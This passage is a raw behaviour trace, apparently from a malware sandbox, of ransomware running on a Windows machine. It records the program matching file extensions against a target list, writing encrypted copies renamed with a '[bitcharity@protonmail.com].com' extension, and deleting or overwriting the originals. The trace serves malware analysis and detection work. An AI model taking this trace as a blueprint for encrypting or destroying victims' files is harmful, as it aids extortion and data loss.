(lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0136.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0136.701] lstrlenW (lpString=".doc") returned 4 [0136.701] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.701] lstrlenW (lpString=".docx") returned 5 [0136.701] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0136.701] lstrlenW (lpString=".pdf") returned 4 [0136.701] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.701] lstrlenW (lpString=".xls") returned 4 [0136.701] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.701] lstrlenW (lpString=".xlsx") returned 5 [0136.701] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0136.702] lstrlenW (lpString=".ppt") returned 4 [0136.702] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0136.702] lstrlenW (lpString=".zip") returned 4 [0136.702] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.702] lstrlenW (lpString=".rar") returned 4 [0136.702] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.702] lstrlenW (lpString=".bz2") returned 4 [0136.702] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.702] lstrlenW (lpString=".7z") returned 3 [0136.702] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0136.702] lstrlenW (lpString=".dbf") returned 4 [0136.702] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0136.702] lstrlenW (lpString=".1cd") returned 4 [0136.702] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0136.702] lstrlenW (lpString=".jpg") returned 4 [0136.702] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.702] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.702] lstrlenW (lpString="Setup.ico") returned 9 [0136.702] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0136.703] GetFileSizeEx (in: hFile=0x1080, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=36710) returned 1 [0136.703] CloseHandle (hObject=0x1080) returned 1 [0136.703] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0136.703] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.703] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0136.703] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.704] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.704] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0136.704] GetLastError () returned 0x0 [0136.704] ReadFile (in: hFile=0x1080, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x8f66, lpOverlapped=0x0) returned 1 [0136.780] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x8f70, lpOverlapped=0x0) returned 1 [0136.781] ReadFile (in: hFile=0x1080, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.781] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xe6, lpOverlapped=0x0) returned 1 [0136.782] SetEndOfFile (hFile=0x10d0) returned 1 [0136.782] CloseHandle (hObject=0x10d0) returned 1 [0136.785] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.786] SetEndOfFile (hFile=0x1080) returned 1 [0136.787] CloseHandle (hObject=0x1080) returned 1 [0136.787] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.787] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0136.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0136.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0136.788] lstrlenW (lpString=".doc") returned 4 [0136.788] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.788] lstrlenW (lpString=".docx") returned 5 [0136.788] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0136.788] lstrlenW (lpString=".pdf") returned 4 [0136.788] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.788] lstrlenW (lpString=".xls") returned 4 [0136.788] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.788] lstrlenW (lpString=".xlsx") returned 5 [0136.788] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0136.788] lstrlenW (lpString=".ppt") returned 4 [0136.788] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0136.788] lstrlenW (lpString=".zip") returned 4 [0136.788] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.788] lstrlenW (lpString=".rar") returned 4 [0136.788] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.788] lstrlenW (lpString=".bz2") returned 4 [0136.788] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.788] lstrlenW (lpString=".7z") returned 3 [0136.788] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0136.788] lstrlenW (lpString=".dbf") returned 4 [0136.788] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0136.788] lstrlenW (lpString=".1cd") returned 4 [0136.788] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0136.788] lstrlenW (lpString=".jpg") returned 4 [0136.789] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0136.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0136.789] lstrlenW (lpString=".doc") returned 4 [0136.789] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.789] lstrlenW (lpString=".docx") returned 5 [0136.789] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0136.789] lstrlenW (lpString=".pdf") returned 4 [0136.789] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.789] lstrlenW (lpString=".xls") returned 4 [0136.789] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.789] lstrlenW (lpString=".xlsx") returned 5 [0136.789] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0136.789] lstrlenW (lpString=".ppt") returned 4 [0136.789] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0136.789] lstrlenW (lpString=".zip") returned 4 [0136.789] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.789] lstrlenW (lpString=".rar") returned 4 [0136.789] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.789] lstrlenW (lpString=".bz2") returned 4 [0136.789] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.789] lstrlenW (lpString=".7z") returned 3 [0136.789] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0136.789] lstrlenW (lpString=".dbf") returned 4 [0136.789] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0136.789] lstrlenW (lpString=".1cd") returned 4 [0136.790] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0136.790] lstrlenW (lpString=".jpg") returned 4 [0136.790] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.790] lstrcmpiW (lpString1=".ico", lpString2=".com") returned 1 [0136.790] lstrlenW (lpString="SysReqNotMet.ico") returned 16 [0136.790] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0136.790] GetFileSizeEx (in: hFile=0x1080, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=1150) returned 1 [0136.790] CloseHandle (hObject=0x1080) returned 1 [0136.790] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 0x80 [0136.790] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.791] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0136.791] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.791] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.791] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0136.791] GetLastError () returned 0x0 [0136.791] ReadFile (in: hFile=0x1080, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x47e, lpOverlapped=0x0) returned 1 [0136.921] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x480, lpOverlapped=0x0) returned 1 [0136.922] ReadFile (in: hFile=0x1080, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.922] WriteFile (in: hFile=0x10d0, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0xf4, lpOverlapped=0x0) returned 1 [0136.922] SetEndOfFile (hFile=0x10d0) returned 1 [0136.922] CloseHandle (hObject=0x10d0) returned 1 [0136.928] SetFilePointerEx (in: hFile=0x1080, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.928] SetEndOfFile (hFile=0x1080) returned 1 [0136.929] CloseHandle (hObject=0x1080) returned 1 [0136.929] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.929] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico")) returned 1 [0136.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0136.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0136.930] lstrlenW (lpString=".doc") returned 4 [0136.930] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.930] lstrlenW (lpString=".docx") returned 5 [0136.930] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0136.930] lstrlenW (lpString=".pdf") returned 4 [0136.930] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.930] lstrlenW (lpString=".xls") returned 4 [0136.930] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.930] lstrlenW (lpString=".xlsx") returned 5 [0136.930] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0136.930] lstrlenW (lpString=".ppt") returned 4 [0136.930] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0136.930] lstrlenW (lpString=".zip") returned 4 [0136.930] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.930] lstrlenW (lpString=".rar") returned 4 [0136.930] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.930] lstrlenW (lpString=".bz2") returned 4 [0136.930] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.930] lstrlenW (lpString=".7z") returned 3 [0136.930] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0136.930] lstrlenW (lpString=".dbf") returned 4 [0136.930] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.930] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0136.930] lstrlenW (lpString=".1cd") returned 4 [0136.931] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0136.931] lstrlenW (lpString=".jpg") returned 4 [0136.931] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0136.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0136.931] lstrlenW (lpString=".doc") returned 4 [0136.931] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0136.931] lstrlenW (lpString=".docx") returned 5 [0136.931] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0136.931] lstrlenW (lpString=".pdf") returned 4 [0136.931] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0136.931] lstrlenW (lpString=".xls") returned 4 [0136.931] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0136.931] lstrlenW (lpString=".xlsx") returned 5 [0136.931] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0136.931] lstrlenW (lpString=".ppt") returned 4 [0136.931] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0136.931] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0136.931] lstrlenW (lpString=".zip") returned 4 [0136.931] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0136.931] lstrlenW (lpString=".rar") returned 4 [0136.931] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0136.931] lstrlenW (lpString=".bz2") returned 4 [0136.931] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0136.931] lstrlenW (lpString=".7z") returned 3 [0136.931] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0136.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0136.932] lstrlenW (lpString=".dbf") returned 4 [0136.932] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0136.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0136.932] lstrlenW (lpString=".1cd") returned 4 [0136.932] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0136.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico") returned 47 [0136.932] lstrlenW (lpString=".jpg") returned 4 [0136.932] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0136.932] lstrcmpiW (lpString1=".msi", lpString2=".com") returned 1 [0136.932] lstrlenW (lpString="netfx_Core_x64.msi") returned 18 [0136.932] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0137.066] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=1901056) returned 1 [0137.066] CloseHandle (hObject=0x10b4) returned 1 [0137.066] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0137.066] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0137.073] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0137.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0137.099] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc64 | out: lpNewFilePointer=0x0) returned 1 [0137.099] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc24 | out: lpNewFilePointer=0x0) returned 1 [0137.099] ReadFile (in: hFile=0x10b8, lpBuffer=0x36a8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b0fc30, lpOverlapped=0x0 | out: lpBuffer=0x36a8058*, lpNumberOfBytesRead=0x2b0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0137.693] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc24 | out: lpNewFilePointer=0x0) returned 1 [0137.694] ReadFile (in: hFile=0x10b8, lpBuffer=0x36e8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b0fc30, lpOverlapped=0x0 | out: lpBuffer=0x36e8058*, lpNumberOfBytesRead=0x2b0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0137.731] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b0fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0137.731] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc24 | out: lpNewFilePointer=0x0) returned 1 [0137.731] ReadFile (in: hFile=0x10b8, lpBuffer=0x3728058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b0fc30, lpOverlapped=0x0 | out: lpBuffer=0x3728058*, lpNumberOfBytesRead=0x2b0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0137.834] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.834] WriteFile (in: hFile=0x10b8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2b0fca8, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fca8*=0xc0110, lpOverlapped=0x0) returned 1 [0138.182] SetEndOfFile (hFile=0x10b8) returned 1 [0138.182] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3df80c0 [0138.276] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc74 | out: lpNewFilePointer=0x0) returned 1 [0138.276] WriteFile (in: hFile=0x10b8, lpBuffer=0x3df80c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3df80c0*, lpNumberOfBytesWritten=0x2b0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0138.278] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc74 | out: lpNewFilePointer=0x0) returned 1 [0138.278] WriteFile (in: hFile=0x10b8, lpBuffer=0x3df80c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3df80c0*, lpNumberOfBytesWritten=0x2b0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0138.280] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fc74 | out: lpNewFilePointer=0x0) returned 1 [0138.280] WriteFile (in: hFile=0x10b8, lpBuffer=0x3df80c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3df80c0*, lpNumberOfBytesWritten=0x2b0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0138.283] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3df80c0 | out: hHeap=0x5a0000) returned 1 [0138.285] CloseHandle (hObject=0x10b8) returned 1 [0138.751] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0138.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0138.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0138.752] lstrlenW (lpString=".doc") returned 4 [0138.752] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0138.752] lstrlenW (lpString=".docx") returned 5 [0138.752] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0138.752] lstrlenW (lpString=".pdf") returned 4 [0138.752] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0138.752] lstrlenW (lpString=".xls") returned 4 [0138.752] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0138.752] lstrlenW (lpString=".xlsx") returned 5 [0138.752] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0138.752] lstrlenW (lpString=".ppt") returned 4 [0138.752] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0138.752] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0138.752] lstrlenW (lpString=".zip") returned 4 [0138.752] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0138.752] lstrlenW (lpString=".rar") returned 4 [0138.752] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0138.752] lstrlenW (lpString=".bz2") returned 4 [0138.752] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0138.752] lstrlenW (lpString=".7z") returned 3 [0138.752] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0138.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0138.753] lstrlenW (lpString=".dbf") returned 4 [0138.753] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0138.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0138.753] lstrlenW (lpString=".1cd") returned 4 [0138.753] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0138.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0138.753] lstrlenW (lpString=".jpg") returned 4 [0138.753] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0138.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0138.753] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0138.753] lstrlenW (lpString=".doc") returned 4 [0138.753] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0138.753] lstrlenW (lpString=".docx") returned 5 [0138.753] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0138.753] lstrlenW (lpString=".pdf") returned 4 [0138.753] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0138.753] lstrlenW (lpString=".xls") returned 4 